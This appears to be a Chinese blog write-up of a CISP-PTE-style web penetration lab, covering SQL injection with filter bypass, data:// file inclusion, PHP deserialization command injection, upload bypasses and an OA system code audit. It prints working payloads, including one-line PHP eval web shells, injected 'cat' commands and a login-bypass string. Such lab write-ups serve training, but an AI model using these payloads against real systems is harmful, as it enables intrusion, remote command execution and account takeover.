类 CISP - PTE 模拟测试 这靶机是在 N 年前做 Web 渗透培训时候的考核靶机,最近又有用到,那正好水一篇。
1 SQL Injection 访问关卡界面如下:
一个非常明显的 SQL Injection 场景,输入任意数字后查询即可:
经过输入尝试,可以发现如下内容:
闭合类型:单引号
闭合符号:#/%23、-- /+
过滤字符:and、or、union、select
绕过方式:双写
注入步骤如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # ?id=1' oorrder by 1 %23 # 正常 ?id=1' oorrder by 2 %23 # 正常 ?id=1' oorrder by 3 %23 # 报错 # ?id=-1' uniunionon selselectect 1,2 %23 # 1,2 均回显 # ?id=-1' uniunionon selselectect 1,group_concat(schema_name) from infoorrmation_schema.schemata %23 # information_schema,Flag_db,mysql,test # ?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'Flag_db' %23 # FlA9_t0b # ?id=-1' uniunionon selselectect 1,group_concat(columns_name) from infoorrmation_schema.columns where table_schema = 'Flag_db' aandnd table_name = 'FlA9_t0b' %23 # fLa9_col # ?id=-1' uniunionon selselectect 1,group_concat(fLa9_col) from Flag_db.FlA9_t0b %23 # Flag{Sql_INject_IS_funny~_~}
2 File_include 访问关卡界面如下:
可以看到一个非常明显的参数名 flag,尝试使用 PHP 伪协议:
1 http://10.10.8.13:8002/index.php?file=data:,<?php phpinfo()?>
可以看到 data 协议可以使用,说明对方设置了 allow_url_include = On,直接使用 AntSword 连接:
1 http://10.10.8.13:8002/index.php?file=data:,<?php eval($_POST[1]);?>
查找 flag:
3 Unserialize 访问关卡界面如下:
一个简单的反序列化题目,重点在于 call_user_func 函数,这是一个可以用于执行命令的函数。首先将 index 类进行序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class index { public $method ; public $args ; function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func (array ($this ,$this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } } echo serialize (new index); ?>
根据上述代码,得出 method 必须为 ping,args 被交由 ping () 函数执行中的 system 执行,这时可以使用连接符进行命令拼接,构造如下代码:
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:9 :"127.0.0.1" ;}
构建漏洞利用代码:
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:12 :"127.0.0.1;ls" ;}
查看 flag:
1 O:5 :"index" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;s:30 :"127.0.0.1;cat f1a9_is_here.txt" ;}
4 File_upload 访问关卡界面如下:
一个典型的文件上传界面,下方附带了关卡代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
可以看出是白名单,通过各种尝试,得出特殊后缀绕过(php3、phtml…):
1 <?php echo 404;eval($_POST[1])?>
成功找到 flag。
5 Hack a OA SYSTEM 访问关卡界面如下:
下载 OA 源码,分析源码,得出以下几个漏洞。
5.1 Unserialize 发现一个 test.php 文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class test { public $method ; public $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func_array (array ($this , $this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } function waf ($str ) { $str =str_replace (' ' ,'' ,$str ); return $str ; } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf (trim (mysql_escape_string ($v ))); } } } $a =@$_POST ['a' ];@unserialize ($a ); ?>
查看源码,发现与前面 Unserialize 的代码类似,但是存在有不同之处:
1 2 3 4 5 6 7 call_user_func_array () call_user_func ()
一样先将其反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class test { public $method ; public $args ; function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct ( ) { if (in_array ($this ->method, array ("ping" ))) { call_user_func_array (array ($this , $this ->method), $this ->args); } } function ping ($host ) { system ("ping -c 2 $host " ); } function waf ($str ) { $str =str_replace (' ' ,'' ,$str ); return $str ; } function __wakeup ( ) { foreach ($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf (trim (mysql_escape_string ($v ))); } } } echo serialize (new test ()); ?>
构建漏洞代码(args 需要是数组):
1 2 # O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:9:"127.0.0.1";}}
这时候就可以使用命令连接符进行命令拼接,但是查看源码里有个 WAF 函数,过滤了空格,无法实现返回上级,通过页面提示,flag 文件在系统根目录下:
1 a=O:4 :"test" :2 :{s:6 :"method" ;s:4 :"ping" ;s:4 :"args" ;a:1 :{i:0 ;s:23 :"127.0.0.1;cat</f1a9.txt" ;}}
5.2 DatabaseConfig.php 在 config.php 中发现了数据库连接文件:
1 2 3 4 5 6 7 8 9 <?php define ("DBHOST" ,"127.0.0.1" );define ('DBUSER' ,'root' );define ('DBPASS' ,'root' );define ('DBNAME' ,'oa' );define ('ROOTDRI' ,__DIR__ ."/../" );require (ROOTDRI.'/org/smarty/Smarty.class.php' );session_start ();?>
但是数据库连接不上,因为靶机 Docker 并未开放对应数据库端口。
5.3 File_upload(1) 在 File.php 中发现了文件上传代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class File { private $typelist ; private $allowexten ; private $path ; function __construct ( ) { if (!isset ($_SESSION ['username' ])){ exit ("not login" ); } $this ->typelist==array ("image/jpeg" ,"image/jpg" ,"image/png" ,"image/gif" ); $this ->notallow=array ("php" , "php5" , "php3" , "php4" , "php7" , "pht" , "phtml" , "htaccess" ,"html" , "swf" , "htm" ); $this ->path='./upload' ; } function save ( ) { $username =$_SESSION ['username' ]; $upfile =$_FILES ['pic' ]; $fileinfo =pathinfo ($upfile ["name" ]); if (in_array ($fileinfo ["extension" ],$this ->notallow)){ exit ('error' ); } $path ='./upload/' .$username ."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ]; if (file_exists ($path )){ exit ("file already exists" ); } if (move_uploaded_file ($upfile ['tmp_name' ], $path )){ return True; }else { return False; } } } ?>
发现其过滤规则,但文件上传需要对应上传点,所以需要先注册一个用户:
1 2 3 if (!isset($_SESSION['username'])){ exit("not login"); }
但是上传时会发现怎么上传都是失败,经查看是 User.php 调用了 File.php 文件:
1 2 3 4 5 6 7 8 9 10 11 function upload ( ) { if (isset ($_SESSION ['username' ]) and $_SESSION ['username' ]==="admin" ){ include_once __DIR__ ."/File.php" ; $up =new File (); if ($up ->save ()){ $this ->tp->display ("success.tpl" ); } }else { $this ->tp->display ("error.tpl" ); } }
查看 User.php 源码发现限制了上传,因为 username 必须为 admin。
5.4 Code Audit 上传要求必须为 admin,看看能不能修改 admin 的密码:
1 2 3 4 5 6 7 8 9 10 11 function upload ( ) { if (isset ($_SESSION ['username' ]) and $_SESSION ['username' ]==="admin" ){ include_once __DIR__ ."/File.php" ; $up =new File (); if ($up ->save ()){ $this ->tp->display ("success.tpl" ); } }else { $this ->tp->display ("error.tpl" ); } }
查看 index.php 页面源码,发现有两个函数 run_c、run_a,且当 c 参数的值为空就以 User 为默认值,当 a 参数为空就以 Index 为默认值:
1 2 3 4 5 6 7 8 9 10 11 <?php include "./common/function.php" ; include "./include/config.php" ; include "./lib/base.php" ; $c =isset ($_GET ['c' ])?$_GET ['c' ]:'User' ; $a =isset ($_GET ['a' ])?$_GET ['a' ]:'Index' ; $obj =run_c ($c ); run_a ($obj ,$a ); ?>
看看这两个函数的作用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function run_c ($class ) { if ( !preg_match ('/^\w+$/' , $class ) or (!file_exists (ROOTDRI."/lib/" .$class .".php" )) ){ exit ('hack' ); }else { include "./lib/" .$class .".php" ; return new $class ; } } function run_a ($obj ,$action ) { if ( !preg_match ('/^\w+$/' , $action ) or !method_exists ($obj ,$action ) ){ exit ('hack' ); }else { eval ('$obj->' .$action .'();' ); } } ?>
当 C 值为空时,包含 include "./lib/".User.".php",进入 lib/User.php,发现有一个更新密码的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class User extends base { ...... function updatepass ( ) { if (!empty ($_POST ['username' ]) and !empty ($_POST ['password' ])){ $username =addslashes ($_POST ['username' ]); $password =md5 ($_POST ['password' ]); $sql ="update user set password='$password ' where username='$username ' " ; if (mysql_query ($sql )){ $this ->tp->display ("success.tpl" ); } } } } ?>
发现是直接接收 username 与 password 的值,并没有进行二次校验 / 过滤。构造 Payload:
1 2 3 4 5 6 7 # ?c=User&a=updatepass # ?a=updatepass # username=admin&password=123456
修改成功~,可以成功登录。
5.5 SQL Injection 5.5.1 万能密码 在登录时抓包发现存在有万能密码:
1 username=admin'-- &password=123456
5.5.2 SQLMap 保存上述 HTTP 请求报文,使用 SQLMap 工具跑一下:
得出管理员账号密码:admin / admin888。
5.6 暴力破解 既然存在有登录框,已知用户名是 admin,而且没有验证码和次数限制,那就直接使用 BurpSuite 进行暴力破解:
[!Warning] BurpSuite 默认的密码字典爆不出来,需要手动添加字典。
得出密码是:admin888
5.7 File_upload(2) 根据之前的漏洞利用,已经得出管理员账号密码为:admin / admin888。登录查看内容:
只有一个文件上传点,查看文件上传的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class File { private $typelist ; private $allowexten ; private $path ; function __construct ( ) { if (!isset ($_SESSION ['username' ])){ exit ("not login" ); } $this ->typelist==array ("image/jpeg" ,"image/jpg" ,"image/png" ,"image/gif" ); $this ->notallow=array ("php" , "php5" , "php3" , "php4" , "php7" , "pht" , "phtml" , "htaccess" ,"html" , "swf" , "htm" ); $this ->path='./upload' ; } function save ( ) { $username =$_SESSION ['username' ]; $upfile =$_FILES ['pic' ]; $fileinfo =pathinfo ($upfile ["name" ]); if (in_array ($fileinfo ["extension" ],$this ->notallow)){ exit ('error' ); } $path ='./upload/' .$username ."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ]; if (file_exists ($path )){ exit ("file already exists" ); } if (move_uploaded_file ($upfile ['tmp_name' ], $path )){ return True; }else { return False; } } } ?>
分析源码可得出如下结果:
1 2 3 4 5 6 7 8 9 10 11 12 # array("image/jpeg","image/jpg","image/png","image/gif") # array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm"); # ./upload # $ username."_" .$fileinfo ["filename" ]."." .$fileinfo ["extension" ] admin_xxx.xxx
可以使用大小写上传文件,最后连接木马: